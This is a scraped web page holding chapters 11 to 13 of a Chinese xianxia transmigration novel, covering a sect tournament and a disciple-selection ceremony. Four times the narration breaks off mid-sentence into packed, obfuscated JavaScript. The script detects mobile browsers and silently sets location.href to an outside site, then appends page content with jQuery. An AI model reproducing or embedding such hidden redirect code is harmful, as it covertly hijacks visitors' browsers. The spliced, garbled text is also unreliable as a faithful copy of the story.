d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220124|181482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看了眼自己手里的苹果:“你不能给我拿块糖吗?” 陆乐水白了他一眼。 “不可以,药效会降低的,还是说你想多喝一碗药?” 他把吃完的苹果核扔进旁边的篓子里,正想再“敲打”燕黎舟两句,门口忽的传来动静。 两人同时回头望去。 只见沈齐站在门口,脸上带着一丝温和的笑容,目光先是扫过陆乐水,最后落在燕黎舟身上。 旁边肖信然紧跟着进来。 “掌门,师尊。”陆乐水收敛了神情,恭敬地对两人行了一个弟子礼。 燕黎舟唰得一下坐起来,连沈齐阻止的机会都没给。 “沈掌门,肖长老。”他笑呵呵的,丝毫没把自己当做是病人。 “我跟肖师弟刚从谈议会赶回来就听说你的事,就过来看看你。”沈齐看着燕黎舟这副模样,不由得笑了两声。 “看样子燕道友恢复得还不错?” 燕黎舟拍了拍自己的腿:“何止是不错,这一个月净养膘来了。” “没事就好,说起来你这次晕厥还是为了救我师弟导致的,还是我们没招待周到。” 燕黎舟摆手,突然想到什么,开口问:“沈掌门,既然你和肖长老都回来了,是不是武比就要准备了?” 沈齐有些惊讶燕黎舟突然提到这个,很快反应过来。 “嗯,已经让慕容师弟去准备了,燕道友对武比感兴趣?” 燕黎舟点头,别提原著中男主要通过武比参加收徒大典进入洛不觉的门下,他都躺了一个月了,哪怕是洛不觉讲课他也愿意去听一听。 沈齐笑笑:“到时候一定给燕道友安排一个最佳观赏位置。” 人都走后,燕黎舟活动了一下自己的筋骨,确认四周无人才鬼鬼祟祟从房间里出来。 刚把门关上,身后就突然传来一道声音。 “你伤势好全了吗?” 燕黎舟被吓了一跳,转头看见洛不觉,眼睛转了转,先发制人。 “你还知道来看我呢?” 看着洛不觉的脸,哪怕此刻比燕黎舟高了半个头,这人小嘴也丝毫停不下来。 “我是为了救你才受伤的,结果呢,我昏迷了你们掌门都来看我了,你却连片衣角我都没看见。” 洛不觉闻言,确实是自己的问题,朝着燕黎舟说了声“抱歉”,然后又问:“你身体怎么样?” 燕黎舟抬手,整个人在洛不觉面前转了一圈。 “差不多了。” 说着他伸手拽住洛不觉的衣袖,继续忽悠:“洛不觉,你带我下山,我给你看个好玩的。” 洛不觉拒绝:“不。” 燕黎舟又腾地一下窜到洛不觉面前:“为什么拒绝,很好玩的。” 对上洛不觉的眼睛,他又转了一圈,手臂张开上下摇摆,带的袖子都飞舞着,在洛不觉面前展示自己真的很健康了,真的好了。 “你要是不带我,那我只能一个人去了。到时候我要是又晕过去,上一次是在大街上,这次万一是在巷子里,在别人家门口。” “我这样貌美如花,万一被人牙子拐走,那都是因为你!你就是罪魁祸首!” 洛不觉听着面前人对他的声声控诉,一把抓住燕黎舟为非作歹的手,叹了口气。 “仅此一次。” 11. 第 11 章 再次走在大街上,燕黎舟看着大街上熟悉的店铺,人声鼎沸,摩肩接踵。和上次比,这会儿街上多了好多穿着华贵的少爷小姐。 他扯了扯旁边洛不觉的衣袖。 “怎么突然这么多人,最近有什么节日吗?” 洛不觉只看了一眼,道:“武比。” 燕黎舟“嗷”了一声,转头自己旁边就走过去一个卖糖葫芦的,鲜红的糖衣裹着山楂插在稻草靶子上。 “大叔,两串糖葫芦。”燕黎舟几乎是瞬间喊住,瞥了旁边的人一眼,上前拦住人,挑了两串长得最漂亮的。 随后眼神一眯看向洛不觉,双手合十拜了拜,眼神请求帮忙付个钱。 “……” 燕黎舟嘿嘿两声,迫不及待咬下最上方的那一颗,酸甜的口感把养淡了的胃口重新挑起来。 “唔……” 含糊不清的有些满足的声音从喉咙里滚出来,一个月了他没感受过除了苦味之外的其他味道。 洛不觉看着眼前伸过来的那串糖葫芦,偏头躲开:“我不吃。” 燕黎舟确认了一番:“你要是不吃那我就两根都吃掉了啊。” 没等到对方的反应,燕黎舟乐滋滋地收回另一串糖葫芦。 “唉,瞧一瞧看一看,上好的胭脂水粉!”一个花枝招展的漂亮妇人在自家摊子上招呼,手里帕子挥动着,脂粉香扑面而来。 燕黎舟眼睛一亮。 “姐姐,你这脂粉怎么卖?” 摊前突然来了个大小伙,老板娘眼里闪过一丝惊讶和好奇,但很快就热情的从摊子上拿起一盒,介绍道。 “我家的和别人家的都不一样,我自己研制的,可好闻了。” 她一边介绍,燕黎舟一边在摊子上挑选,修长的手指拿起一盒青瓷小圆盒。盒盖冰凉,上面用极细的银线勾勒出一枝半开的玉兰。 拇指顶开盒盖,清幽淡雅的花香,带着一股淡淡的苦意。燕黎舟低头闻了一下,就放下目光搜寻下一个。 边找变问:“老板娘,你擦的是哪一款?” 老板娘愣了一下,捂嘴轻轻笑了下,看着燕黎舟满脸写着“有眼光”,飞快地从摊子底下摸了个差不多款式的青瓷小圆盒。 “我告诉你啊小仙长,我这款脂粉可是卖断货了的,这盒还是我留着给自己的。” “既然小仙长喜欢,我就把它给你。”说着老板娘递给燕黎舟,示意他闻闻。 燕黎舟垂着眼,盒子打开的一瞬间眼睛就亮了,指尖沾了一点盒内细腻莹白的膏体,在指腹间捻了捻,触感柔滑微凉。 “就这个。”燕黎舟笑道:“姐姐,这个我真喜欢,就不跟姐姐客气了。” 老板娘被他一口一个姐姐喊的心花怒放,燕黎舟赶紧拉过一旁的洛不觉。 “再帮个忙,回头还你。” “。” 燕黎舟得了脂粉,心情似乎不错,鼻尖在擦了脂粉的手腕上闻了又闻。半响他才抬起头,看向一旁一直沉默的洛不觉,晃了晃手里的青瓷小盒,笑嘻嘻问。 “怎么,仙长觉得我不能买这东西?” 洛不觉的目光平静地落在他的脸上,又缓缓移向他手里的脂粉盒。 他并未直接回答那带着刺的问题,只是淡淡开口,声音不大,却清晰地盖过了旁边老板娘继续吆喝的声音和周围所有喧嚣。 “你要赠谁?” 燕黎舟捏着瓷盒的手指几不可察收紧了一瞬。小心将盒子收好后才回复:“送我自己啊。” 喧嚣的长街仿佛永无止境,燕黎舟啃完最后一颗糖葫芦,随手将光秃秃的木签扔进街边木桶里,糖衣的甜腻似乎还粘在舌尖上。 就在这时,前方一家颇为气派的绸缎庄铺,一个穿着簇新宝蓝色长袍的年轻公子哥儿,摇着把洒金折扇,满面春光地走了出来。 这人看着也显然对自己的新行头极为满意,步履间都带着一股炫耀的嫌疑。 燕黎舟低头看了看自己身上素净的白色行头,又转头,这次他提前问。 “洛不觉,你带了多少钱?” 铺子里墙壁两侧挂满了层层叠叠的衣物,粗麻短褐到锦缎长衫都有。 “客官,您想要个什么样式的?” “什么样式都有吗?” 不一会儿,燕黎舟站在镜子前仔细打量着自己。 身上外袍是靛青的底子,极细的金线在袖口和领口绣着花纹,暗光锦边,正和他心意,一边欣赏一边等着洛不觉回来给他付款。 “这衣服我也要,给我一件一样的!”突然一道声音响起。 众人循声望去,门口不知何时站了一个人,二十左右的模样,一身月白纹锦袍,腰间挂着块价值不菲的羊脂玉佩,通身贵气逼人。眉眼生的俊美,只是那眼神有些锐利,带着一种居高临下的审视。 他身后跟着两名气息沉稳的护卫,显然身手不俗。视线扫过铺子,最终牢牢钉在燕黎舟身上。 店铺小厮见此扮相忙上去迎客,听清他的话后又转头看了眼燕黎舟,脸上挂上为难的神色。 “这位公子爷,店里还有很多其他的好看款式……” 锦衣公子却对小厮的话置若未闻,步履从容走进铺子,目光始终没离开燕黎舟身上的靛青锦袍。 嘴角噙着笑:“我要他身上这件。” 燕黎舟眉头微不可察地蹙了一下,迎上对方的目光,神色平淡无波:“我已经决定要买了,公子还是找其他的衣服……” “决定要买了?”锦衣公子轻笑一声,笑声里带着一丝轻慢:“那就是还没付钱喽。” “无妨,你要是真喜欢这件,我也可以不要,但你可得帮我一下。” 燕黎舟面露疑惑,对方紧接着凑到他面前。 “你去穿一会别的衣服,你穿哪件,我买哪件。” 说着,他随意抬了抬手,身后一名护卫立刻上前一步,从怀里掏出一个沉甸甸的锦囊,哗啦一声倒在一旁的柜台上。 “都是你的。” 他还想再说些什么时,就见燕黎舟的神情忽的一敛,不但没有后退,反而迎着锦衣男子那充满戏谑的的目光,向前微微倾身。 “哦,这么大方?” 燕黎舟勾了勾唇角,目光精准地落在那堆被护卫倒在柜台上的金锭上。 锦衣公子以为他动心了,得意地扬了扬下巴就要动手动脚:“自然。” “不会是假金吧。” 燕黎舟打断他,声音不高,却带着不容置疑。他抬起手,修长的手指甚至没有碰到那些金锭,只是虚虚一指。 “什么!” 一直在暗中观察的商铺老板猛地冲出来,拿着柜台上的金锭仔细观察。 手里金锭成色看着晃眼,但仔细观察能发现,边角磨损处透出来的底色不太对。 “敢在我诗白店里出假金,小黑,拦着他们,别让人给跑了!报官!”掌柜的瞧出来不对,脸色瞬间变得极为难看。 他一把把金锭甩在地上,伸手一指,骂骂咧咧指挥小厮。燕黎舟眼神闪过一丝玩味。 “你们敢!”锦衣公子皱眉,低吼道。这样一来反而更激了掌柜的怒火。 “你个出假金的,还敢那么大架势!” 燕黎舟趁着混乱,几步退到店铺门口,踏出店门的一瞬间,瞧着四周没人注意他才重重的呼出一口气,想到刚才,连忙拍了拍衣服上被锦衣男人碰到的地方。 “多亏有你!” 燕黎舟一边拍打着衣服,一边对不知何时站在他身侧的洛不觉道。 “嗯。” 刚才在店里,燕黎舟看见回来的洛不觉时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220125|181482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悄悄伸手给他打了个手势,对方也明白地在那对金锭上做了手脚。 燕黎舟拍打衣服的动作又急又重,直到洛不觉递过来一块干净的白色手帕。 “擦手。”洛不觉的声音依旧没什么起伏,动作却十分自然。 燕黎舟毫不客气接过,用力擦了擦刚才打过手势、又拍过衣服的手指,仿佛上面真沾了什么脏东西,这才把帕子随手塞进自己腰带里。 嘴里嘀咕:“回头还你条新的。” 洛不觉对此不置可否。 “解决了?”燕黎舟边走变问,他笑着道。“回来的还挺巧。” 洛不觉微微颔首,算是接受了这份“夸奖”。 突然,旁边传来一声喊。 “前辈!” 宋湖喊燕黎舟,用力伸手挥了挥,旁边还跟着谢灯。后者身上干干净净,穿着得体,与先前的狼狈模样丝判若两人。 燕黎舟心头一跳,下意识朝身边的洛不觉看去,原著里此刻还不认识的师徒二人就这样提前相遇了。 洛不觉依旧是没有表情,甚至因为燕黎舟转头看他,视线也跟着转过来。后者一紧张,几乎是立刻别开了脸,转而对来到面前的两人打招呼。 “你们怎么在这?”他开口问道 宋湖咧嘴一笑:“这不是听说武比块开始了,我们刚去报了个名,刚准备回去,没想到一转头就撞见前辈您了。” 一旁的谢灯,只有最初走近时飞快瞥了洛不觉一眼,之后就一直偏头盯着别处,没有要开口的意思。 燕黎舟了然地的点点头,目光却不自觉再次飘想洛不觉和谢灯两个人。 气氛微妙地凝滞了一瞬。 宋湖似乎毫无察觉,依旧热情地和燕黎舟讲话:“前辈身体恢复地怎么样了?上次真的是吓了一大跳呢,我和谢灯刚要走就听见喊有人晕倒了,过去瞧竟然是前辈!” 燕黎舟清了清嗓子,收回打量洛、谢两人的心思:“差不多了。” 他心里七上八下,原著中洛不觉收谢灯是在之后的收徒大典上,到时候谢灯被测出来剑骨天赋极佳,硬被沈齐塞给了同样天赋的洛不觉。 如今两人在大街上提前遇见,不会产生什么蝴蝶效应吧?谢灯那明显心不在焉的神情又是怎么回事? “前辈?”宋湖见他有些走神,又叫了一声。 “哦,你们报名还顺利吗?”燕黎舟连忙接话道。 “嗯,很顺利。”宋湖笑道,终于也注意到了这过于安静的氛围。 他好奇地看向那位一直站在燕黎舟身边气度非凡却异常沉默的道友。 “这位是,前辈的朋友?”他试探着问道,抱拳向洛不觉行了个礼。他天性爽朗,不拘小节,但礼数周全。 洛不觉淡淡地扫了宋湖一眼,那目光平静无波,却让宋湖莫名感受到一股无形的压力,脸上的笑容都僵了僵。 洛不觉几不可察地颔首,算是回应。 “……”宋湖一时不知该说什么好,求助的目光看向燕黎舟。 话题被引到洛不觉身上,燕黎舟只觉得头皮发麻,生怕自己一个不小心的动作就引发什么蝴蝶效应。 “这是……洛道友,与我一起的。”他实在是不敢说出“洛不觉”这个名字,尤其是谢灯在这。 “洛前辈,幸会幸会,我叫宋湖,这是我朋友谢灯。”他看着洛不觉衣服上独属于天上白云京的祥云纹,“希望我们以后在一个宗门里和睦相处。” 宋湖没心没肺道。 燕黎舟只想赶紧结束这场提前到来的“师徒会晤”。 “既然你们报完名了,快点回客栈早点休息吧,养精蓄锐。” 看着两人离开的背影,燕黎舟刚放下心来,就感觉身边那道存在感极强的视线落在了自己身上。 “你很紧张?” 12. 第 12 章 天上白云京,演武台。 推迟了两个月的武比终于要开始了。 演武台旁,呈现阶梯状的观众席层层拔高,此刻更是座无虚席。更高处,几座悬浮的云台若隐若现。 燕黎舟随意混在观众席里的一个位置,托着腮,陆乐水和司徒沃混在人群靠前的位置。 不禁内心一阵咋舌,这规模,比文比热闹多了。 原著里,这武比是前期主角开始逆天改命的重要剧情点,作者花了大量的笔墨描写,如今亲眼所见,震撼程度远超原著中文字所描述的。 “咚——” 一声低沉,仿佛从远古传来的钟鸣骤然响起,在场的每个人都心头一震,不由自主安静下来。 万籁俱寂。 演武台上,不知何时已多了一位须发皆白的老者,周身气息圆融无碍。 “诸位同道,”老者的声音并不洪亮,但却清晰地传进每一个人的耳中,“仙路漫漫,问道苦难。” “今日,我天上白云京武比再开,登台求仙者,各凭本事。” “切磋交流,点到即止,禁绝恶意伤人性命,毁人道基。违者,严惩不贷。”老者强调道,视线扫过下方。 “咚——” 钟声再响,武比开始。 后面的事与燕黎舟就没什么关系了,用脚趾头想不过就是谢灯一路披荆斩棘,参加收徒大典,测出强劲天赋,之后再被洛不觉收入门内。 剧情按部就班地走向既定结果。 想着,他悄悄从练武场边缘退出去,如今宗门里所有人焦点全都在武比上,正是拿问神镜的好时机。 藏书阁,看着面前这栋宏伟的建筑,燕黎舟眼神暗了暗,深吸一口气,握紧了手里的东西。 踏进一层大门,熟悉的高大书架整齐排列,上面整齐地摆放着各式书籍。 二楼房间内,洛不觉常坐的位置此刻空空荡荡,燕黎舟穿梭在其后的书架里,指尖轻轻抚过书籍。 问神镜……会被放在哪呢? “燕前辈?” 身后突然有声音响起。 藏书阁的管理弟子抱着一堆书,脸上带着惊讶,显然是没想到燕黎舟会在这个时候出现在这里。 燕黎舟身形微顿,压下心头那丝紧绷,转身扬起一个笑容,晃了晃手里抓着的令牌:“嗯,现在不是在武比嘛,你们洛师叔现在走不开,让我来借用一下问神镜。” 管理弟子看清他手里拿着的上面刻着“洛不觉”的通行令牌,点点头,听到是问神镜后。 “好,回头我给送到师叔房间。” 燕黎舟心头一紧,但面上若无其事。 “直接给我我顺路给他呗,”他看着弟子手里的一堆书籍:“何必你费力多跑一趟。” 弟子脸上露出有点麻烦的神情:“本是可以,只是问神镜所在的房间被天清夫子锁上了,钥匙被夫子随身带着,他老人家现在不在宗门内,回来还不知道要几天呢。” 燕黎舟一听知道今日无望,笑了笑表示理解,准备告退:“原来是这样,那我就回去继续看武比考核了。” 说完,他利落地将令牌收回袖中。“不打扰了。” “燕前辈再见。” …… “被锁住了……” 燕黎舟无声地咀嚼着这几个字,心想,问神镜现在没无法拿到手,也见不得不好,送到洛不觉那,他只要赶在洛不觉看见前拿到手就可以。 他脚下步子不由自主地加快了几分,重新回到热火朝天的练武场,因为心里想着事情没看路,突然一阵波动猛地传来,击得他胸口一痛。 燕黎舟捂住心口咳嗽了一下,才发现他离练武台太近了,打斗的余波才会攻击到他身上。 他抬头看向台上,看清台上的情景后不可置信地瞪大眼睛。 台上,原本应该是大获全胜的谢灯,此刻狼狈地倒伏在武台边缘,而最中心站着的,接受着喝彩的竟是那日调戏过燕黎舟的那位锦衣男人。 整个演武场气氛火热,没人注意到角落里的燕黎舟。 “太厉害了这个人,打了那么多场了,他身上一点伤口都没有。” “深藏不露的高手啊!” “太不可思议了。” 周围讨论的声音不断。 他心头猛地一沉,一股不好的预感抓住了燕黎舟。 “最终胜者——陆星华!” 云台上老者宣告声落,短暂寂静后是一阵猛烈的欢呼声,燕黎舟像是没听见般,他的视线如钉子般钉在倒在台上的谢灯身上,眉头蹙得极紧。 男主,输了? 男主怎么会输? 这可是天道之子!居然输了?! 燕黎舟连身上的伤都不顾了,踉跄着起身。 谢灯……输了,赢的是陆星华! “哈哈,承让,能和我过三招,你很厉害了。”声音里带着十足的得意和惯常轻佻的笑意,居高领下地夸奖道。 说话者正是刚刚获胜的陆星华,眉目飞扬,脸上是毫不掩饰的张扬笑容,姿态风流倜傥。 陆星华,陆乐水的哥哥! 燕黎舟想起来了。 是了,男主如今根基尚浅,对于其他同等人比会吃力,虽有天道帮他,但那又怎么可能打得过自幼就享有顶级修炼资源,天赋同样卓越的陆家嫡系长子陆星华。 可他记得这人后期才会出现,怎么现在就出现在天上白云京? 台下陆乐水和司徒沃交头说着什么,他脸上满是不屑,目光死死盯着台上的身影,看着陆星华那副小人得志的模样,轻哼。 转头时看见燕黎舟的身影杵在那儿,眼睛一亮,拽着旁边的司徒沃快步走了过来。 “去哪里了,刚才你没看见小爷我的雄姿真是可惜,我两下就把对手打趴下了。” 人未到声音先到,看燕黎舟的一直盯着台上,陆乐水撇了撇嘴,像是找到了什么宣泄口,开始说坏话。 他语气刻薄道:“陆星华那个人就是这样,下手没轻没重,不过是赢了一场,尾巴都翘到天上去了。” “他那个人,轻浮浪荡,永远改不了本性。”说这话时,陆乐水眼里的嫌弃是浓得都化不开。 旁边司徒文也是紧皱着眉头,看着台上高调炫耀的男人,另一边的宋湖已经爬上演武台去把谢灯捡回来。 他收回目光,转向陆乐水,疑惑:“你认识他?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220126|181482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆乐水慌乱了一瞬,抱胸狡辩:“他那个人做事高调,听说过,很正常。” 说着他伸手怼了怼旁边的燕黎舟,试图岔开话题。 “你怎么看?” 燕黎舟被叫得回神,宋湖半跪着搀扶住刚刚比完赛的谢灯,神情急切,似乎是在询问着什么,看到谢灯摇头后才用力将整个人扶起来。 后者嘴唇微动,似是在回应,半个身子都卸力般压在了对方肩上,被宋湖吃力地撑起。 看着两个人的背影,燕黎舟面色凝重,惹得陆乐水忍不住问。 “怎么了?你认识哪个人吗?”他又用手肘碰了碰燕黎舟,顺着他的目光望去。 燕黎舟没说话,旁边司徒沃看出他的脸色不太好,想到了什么,紧张问:“燕前辈,今天的药您吃了吗?” “你没吃药!”他没说话就被陆乐水当做承认,立马急了。 被这两人这么一吵,燕黎舟才后知后觉有些呼吸困难,胸口也疼,他今日确实没吃。 转头对上陆乐水吃人的目光,他反应极快,戏精似的伸手捂住自己的额头,开始装傻充愣,摆手道。 “嘶,头好晕,肯定是你们这儿风水不好,老害我生病……” 陆乐水跳脚,气的要上手拉人:“回去,喝药。” “唉唉唉!”燕黎舟措不及防,差点被他拽倒,连忙狡辩:“我喝了我喝了,没说我没喝,松手松手,胳膊要断了!” 他把手费劲抽出来,一个转身迅速躲到司徒沃后面,揉着自己被捏红的手腕,夸张地对着吹气。眼珠子一转,瞥见对方生气的神情,嘴角忽的勾起一抹坏笑。 “啧,这么关心我,”他拖长了调子,语气刻意:“你不会是……喜欢我吧,陆~乐~水?” “谁喜欢你了!”陆乐水被恶心到,整个人瞬间像是踩了尾巴的猫,撸起袖子,说话咬牙切齿。 “司徒你别动!我今天非要把他这张嘴缝上!” 司徒沃被夹在中间,笑着开始劝架:“好了好了……还是要留个口子喝药的。” 这件事当事人燕黎舟怪叫一声,绕着司徒沃,三人开始表演秦王绕柱。 燕黎舟惹怒陆乐水后,嘴上还不饶人:“哎呀呀,恼羞成怒了?被我戳中心事了?” “闹够了没有。” 耳边突然响起一道冷漠声音,声音不高,三人却猛地僵住。 燕黎舟脸上笑容瞬间收敛,变脸比翻书都快,立刻站直身体,一副“我是乖宝宝”的模样。 陆乐水的手也僵在半空。 洛不觉的目光扫过三人,旁边武台上面的比试还在继续,打斗的激烈声,观众的喝彩声一波接着一波,更衬得这角落安静极了。 陆乐水猛地收回手,硬邦邦的行了个礼:“洛师叔,弟子失态了,这就回去。” 说完,他狠狠剜了燕黎舟一眼,那眼神分明写着“你给我等着”。 等两人走后,燕黎舟单独面对洛不觉,他衣袖里还放着某人的通行令牌,顿时心虚地主动开口找话题:“你现在不是该在云台上吗,怎么下来了?” 洛不觉目不斜视:“上面无聊,下来看看。” “令牌。” “……” 13. 第 13 章 “洛仙长,三天后的收徒大典,你穿什么颜色衣服?” “平常。” “你就没有别的颜色的衣服吗?” “不需要。” “我需要啊。” 燕黎舟看着洛不觉身上万年不变的白色,托着腮厚脸皮道:“我还想要一件红色的,黄色也好看,绿色也可以……” 他细细数着花哨的颜色,盯着洛不觉身上繁华亮眼的花纹,整个人漂亮得不像话。 他伸手手指勾了勾洛不觉的衣服,眨巴了一下眼睛:“我还想要一件你的。” “……”洛不觉递给燕黎舟一个荷包,意思不言而喻。 自己去。 燕黎舟也毫不客气,接过荷包晃了晃,高高兴兴下山去了。 转眼间来到三日后,燕黎舟穿了身饱和度极高的粉色,袖口和衣襟处绣着芍药花,在这一堆白色棉花糖里面格外显眼。 陆乐水嗤之以鼻:“花里胡哨。” 和他哥一个模子里刻出来的似的。 燕黎舟却对他这身新衣服格外满意,一脸得意:“还好吧。” “没有在夸你。” 大殿内,洛不觉和其他几位师兄弟坐在一起,燕黎舟和陆乐水他们坐在一起。 众人面前有一个大大的云境,开启的瞬间先聚焦在陆星华那张脸上,对方似有所感朝着镜头抛了个媚眼。 山门前,三位长老背手而立,最前方的是之前主持武比的那位长老。 “修炼仙途,非仅凭毅力可至,根骨,缘法,缺一不可。”他微微停顿,目光扫过人群,带着点居高临下的审视。 “踏上问心阶,便无回头路。时限三炷香!” 随着他的话音落下,身后的迷雾紧跟着散开,露出通往天际的无尽阶梯。 “诸位同道,请吧!” 他右后侧一直沉默的长老上前一步,宽大的袖袍中飞出一只小巧的紫金香炉,悬停在众人上方。 炉内,一根紫檀信香无火自燃。 “登阶!”左侧长老喝道。 问心阶,踏此阶者,肉身无常,心却如坠深渊,内心会映照出来最深的执念。 数百名预备弟子争先恐后地涌过去,起初的几十阶,人群还有些拥挤,步伐也快,但很快—— 人群中,一个原本还在奋力攀爬的少年,突然脚步猛地顿住,脸上露出极度惊恐的神色,身体颤抖,仿佛看到了什么可怕的景象,双手胡乱在身前挥舞。 “别过来,不是我!爹,娘,不是我!” 他惊恐地后退一步,整个人失去了平衡,惨叫着从台阶上滚下去。 异样出现的瞬间,旁边等候着的执事弟子瞬间出手揪住男人的后领,将人带离。 人群中不断开始有人陷入自己的幻想,山门前的失败者也越来越多。 三炷香时间看似很短,但台阶上每个人都在煎熬。此时的紫金香炉中,第一柱香已燃过半。 “啧,那位老兄的执念是欠了赌债吗,跑得这么狼狈。”阶梯上,陆星华一边点评一边不紧不慢地拾级而上。 作为先前武比的佼佼者,他自然引起了大殿里几位的注意。 “这个陆星华,年纪轻轻就能扛住问心阶的阵法,是个好苗子。”沈齐道。 旁边慕容古哼道:“好苗子又怎样,陆家可不会让他们家金枝玉叶出来受苦,这是拿咱们当乐子来了!” 肖信然在中间打哈哈:“慕容师弟也不用这么暴躁,天上白云京欢迎任何人。” “哼,”他评价:“烂好人。” 肖信然还是笑,并不反驳。 本书男主的谢灯此时一只手撑地,另一只手捂着头,握成拳头的手不断颤抖,仿佛是在经历极大的痛苦。 “你没事吧。” 谢灯猛地睁开眼,就看见一个陌生少女面露紧张地问他。 问洛不觉找了个小云镜独自观察男主的燕黎舟:欧嚯,男主第一个后宫,陈沁。 他不动声色直了直身子,惹得旁边陆乐水注意,看清楚他面前云镜上的场景,后又皱眉。 “这个时候,居然还有心情打情骂俏?” 燕黎舟闻言内心道:这就不懂了吧,要是不打情骂俏,读者看什么。 就在这时,大殿门口光影一晃,燕黎舟抬头就看见陆星华率先进入大殿。 “哇,这么多人!” 大殿中中心放着一块透明灵石,陆星华调动体内的灵力,带着几分刻意卖弄的姿态,将手按在测灵石上。 测灵石瞬间呈现出一种明亮的青绿色,待光芒稳定,负责记录的仙师点点头:“木系,上品灵根,可。” 此言一出,满场皆惊。陆乐水看着此刻正风光的人,不满的嗤了一声。 “上品灵根怎么了,我也是啊,有什么好惊讶的。” 台上,沈齐点了点头,接下来就是拜师,陆星华见状连忙捂住自己肚子哀嚎着疼。 “我肚子疼,那什么人有三急,各位你们继续。” 现场的所有人都能看出来这人是装的,但没有一个人说什么,陆乐水也只是轻轻切了一声。 陆星华刚逃走,门外又传来一阵气喘的声音,谢灯的身影也出现在门口,一只手撑着门框不断喘着气。 燕黎舟又低头看手里的云镜,上面已经空无一人,又抬头看看谢灯。 不是,后宫呢? 你不写读者看什么? 只见谢灯沉默地走上前,脚步很虚,伸手轻轻地,小心翼翼地触碰那块冰冷的测灵石。 大殿里的人心情平静,见状对谢灯内心并没有什么期盼,但既然到了大殿肯定是要拜师的,不好的苗子掌门他们断然不收,所以只有几个外门长老对视一眼。 下一秒,一股比之前谢卿枋更加强烈的光芒亮起,刺得人都睁不开眼。 “先天剑体!” 旁边记录的仙师惊呼一声,看着谢灯的眼神像是看到了什么稀世珍宝。 先天剑体,这四个字出来的一瞬间,众人的目光齐刷刷地看向高台上的洛不觉。 洛师叔也是先天剑体,这人要是被洛师叔收在门下,肯定前途无量。 其他几位师叔长老也是这么想的,只是慕容古眯了眯眼,转头看向身旁师弟。 “洛师弟,你要不要。” 那眼神,明晃晃写着“我想要”三个大字。 洛不觉只看了一眼就收回视线:“我不收徒。” 这话说完,立马有几个长老眼神奇怪地看了洛不觉一眼。 “那我要了。”慕容古立马道。 一直没说话的白石湖甩了甩扇子:“师弟不要这么霸道,还是要看那小孩的想法,万一他想跟我玩扇子呢。” “先天剑体跟你玩扇子?哼,浪费资源。” “你个耍大刀的也没好到哪去!” 洛不觉也看过去,只是他的视线没落在谢灯身上,而是观众席的燕黎舟。 此人激动得差点拍大腿:来了来了,主角光环,众人争夺!这才是标准开局。 但紧接着他揉了下自己心口,眉头一皱,记得自己今天喝完药了的啊。 “谢灯,你可有意向拜入谁的门下?”沈齐问。 谢灯目光在几位长老身上巡视,原著中,谢灯选了第一剑尊洛不觉为师,但现在…… 突然,他定住了,然后手指竟然指向了大殿角落里的一个歪靠在椅子上昏昏欲沉的家伙。 “我想拜他为师。” 所有人视线随着谢灯手指的方向齐齐看过去,汲子石闭着眼,半个身子都靠在椅背上,坐没个坐样。 众人皆是惊讶,有几个坐得远的甚至窃窃私语起来。 如果他选掌门沈齐为师,他们都不会说什么,天才总是有傲气的,可谢灯偏偏选了汲子石为师。 谁不知道汲子石汲师叔是所有人当中最懒散的一个,明明是一个师尊的弟子,可这么多年,汲师叔的境界一直停留在金丹修为,空有辈分,平日也只喜欢侍弄普通花草,可以说是一点用没有的废物师叔。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220127|181482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 众人脸上的表情精彩纷呈,有错愕,不解和不可置信,就连沈齐都愣了一下。 他转头看向当事人:“汲师弟。” 正打哈欠的汲子石突然被吓了一跳,差点从椅子上滑下来,谢灯已经几步走到他面前,端端正正行了个拜师礼。 “弟子谢灯,叩见师父。” “啊?” “我?”他伸手指着自己问。“你要拜我为师?” 还不等谢灯说是,汲子石就连连摆手:“不要不要。” “徒弟好麻烦的,我不要,你换人。”他的话直接了当,没有一丝回旋的余地。 他拒绝道:“你这样好的苗子,给我浪费了,我就是个挂名的,你不如找个更好的。” 汲子石嘴上说着好苗子,但周围了解他的众人都知道,这人就随口一夸,刚刚发生的事情肯定一问一个不知道。 当然知道了也不会要罢了。 “我没钱,供不起一个徒弟。” “弟子家中有点积蓄,师父喜欢什么弟子都能给师父。” 